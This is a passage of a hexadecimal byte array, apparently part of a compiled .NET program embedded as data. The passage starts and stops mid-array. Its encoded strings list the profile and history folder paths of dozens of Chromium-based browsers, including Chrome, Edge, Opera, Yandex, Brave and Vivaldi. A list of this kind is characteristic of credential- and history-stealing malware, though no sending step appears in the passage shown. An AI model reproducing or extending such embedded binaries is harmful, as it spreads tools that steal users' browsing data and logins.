0x00, 0x6F, 0x00, 0x72, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x7A, 0x00, 0x65, 0x00, 0x64, 0x00, 0x5F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6D, 0x00, 0x00, 0x21, 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x66, 0x00, 0x61, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x69, 0x00, 0x73, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x23, 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x66, 0x00, 0x61, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x69, 0x00, 0x73, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x31, 0x00, 0x00, 0x11, 0x5C, 0x00, 0x48, 0x00, 0x69, 0x00, 0x73, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x13, 0x5C, 0x00, 0x48, 0x00, 0x69, 0x00, 0x73, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x31, 0x00, 0x00, 0x0F, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x31, 0x5C, 0x00, 0x47, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x41, 0x00, 0x56, 0x00, 0x47, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x2D, 0x5C, 0x00, 0x41, 0x00, 0x56, 0x00, 0x47, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x4B, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x7A, 0x00, 0x61, 0x00, 0x00, 0x21, 0x5C, 0x00, 0x4B, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x7A, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x13, 0x55, 0x00, 0x52, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x29, 0x5C, 0x00, 0x55, 0x00, 0x52, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1D, 0x41, 0x00, 0x56, 0x00, 0x41, 0x00, 0x53, 0x00, 0x54, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x00, 0x43, 0x5C, 0x00, 0x41, 0x00, 0x56, 0x00, 0x41, 0x00, 0x53, 0x00, 0x54, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x53, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x00, 0x27, 0x5C, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x43, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x37, 0x5C, 0x00, 0x43, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x00, 0x37, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x0D, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x00, 0x3D, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x5C, 0x00, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x53, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x6A, 0x00, 0x65, 0x00, 0x74, 0x00, 0x00, 0x23, 0x53, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x6A, 0x00, 0x65, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x33, 0x00, 0x36, 0x00, 0x30, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x37, 0x5C, 0x00, 0x33, 0x00, 0x36, 0x00, 0x30, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x2F, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x44, 0x00, 0x72, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x6F, 0x00, 0x00, 0x41, 0x4D, 0x00, 0x61, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x53, 0x00, 0x74, 0x00, 0x75, 0x00, 0x64, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x50, 0x00, 0x6C, 0x00, 0x75, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x3D, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x7C, 0x00, 0x20, 0x00, 0x53, 0x00, 0x52, 0x00, 0x57, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x20, 0x00, 0x49, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x25, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x54, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x63, 0x00, 0x68, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x1F, 0x54, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x63, 0x00, 0x68, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x4B, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x01, 0x1F, 0x49, 0x00, 0x72, 0x00, 0x69, 0x00, 0x64, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x25, 0x5C, 0x00, 0x49, 0x00, 0x72, 0x00, 0x69, 0x00, 0x64, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x15, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x65, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x47, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x65, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x00, 0x2B, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x41, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x00, 0x1F, 0x41, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x42, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x73, 0x00, 0x6B, 0x00, 0x00, 0x1F, 0x42, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x73, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x43, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x2B, 0x43, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x68, 0x00, 0x65, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x00, 0x21, 0x43, 0x00, 0x68, 0x00, 0x65, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x00, 0x31, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x21, 0x45, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x35, 0x45, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x29, 0x45, 0x00, 0x70, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x79, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x3D, 0x45, 0x00, 0x70, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x79, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x4B, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x21, 0x4B, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x74, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x4F, 0x00, 0x72, 0x00, 0x62, 0x00, 0x69, 0x00, 0x74, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x23, 0x4F, 0x00, 0x72, 0x00, 0x62, 0x00, 0x69, 0x00, 0x74, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x00, 0x33, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x13, 0x75, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x00, 0x31, 0x75, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x56, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x69, 0x00, 0x00, 0x23, 0x56, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x69, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x15, 0x53, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x69, 0x00, 0x70, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x36, 0x00, 0x00, 0x67, 0x46, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x72, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x69, 0x00, 0x70, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x72, 0x00, 0x35, 0x00, 0x5C, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x5C, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x56, 0x00, 0x69, 0x00, 0x65, 0x00, 0x77, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x69, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x00, 0x3D, 0x43, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x47, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x70, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x69, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x2F, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1D, 0x4C, 0x00, 0x69, 0x00, 0x65, 0x00, 0x62, 0x00, 0x61, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x21, 0x6C, 0x00, 0x69, 0x00, 0x65, 0x00, 0x62, 0x00, 0x61, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x51, 0x00, 0x49, 0x00, 0x50, 0x00, 0x20, 0x00, 0x53, 0x00, 0x75, 0x00, 0x72, 0x00, 0x66, 0x00, 0x00, 0x25, 0x51, 0x00, 0x49, 0x00, 0x50, 0x00, 0x20, 0x00, 0x53, 0x00, 0x75, 0x00, 0x72, 0x00, 0x66, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x45, 0x00, 0x64, 0x00, 0x67, 0x00, 0x65, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x31, 0x4D, 0x00, 0x69, 0x00, 0x63, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x45, 0x00, 0x64, 0x00, 0x67, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x4D, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x2E, 0x00, 0x52, 0x00, 0x75, 0x00, 0x00, 0x2D, 0x4D, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x2E, 0x00, 0x52, 0x00, 0x75, 0x00, 0x5C, 0x00, 0x41, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x00, 0x9F, 0xDB, 0xDE, 0x25, 0x0C, 0xE3, 0x59, 0x4C, 0xB2, 0x8C, 0x2E, 0xFA, 0x70, 0xB2, 0x9C, 0xDF, 0x00, 0x04, 0x20, 0x01, 0x01, 0x08, 0x03, 0x20, 0x00, 0x01, 0x05, 0x20, 0x01, 0x01, 0x11, 0x11, 0x04, 0x20, 0x01, 0x01, 0x0E, 0x04, 0x20, 0x01, 0x01, 0x02, 0x10, 0x07, 0x03, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C, 0x15, 0x11, 0x49, 0x01, 0x12, 0x10, 0x12, 0x10, 0x06, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C, 0x06, 0x15, 0x12, 0x45, 0x01, 0x12, 0x10, 0x08, 0x20, 0x00, 0x15, 0x11, 0x49, 0x01, 0x13, 0x00, 0x06, 0x15, 0x11, 0x49, 0x01, 0x12, 0x10, 0x04, 0x20, 0x00, 0x13, 0x00, 0x05, 0x20, 0x01, 0x01, 0x13, 0x00, 0x03, 0x20, 0x00, 0x02, 0x10, 0x07, 0x03, 0x15, 0x12, 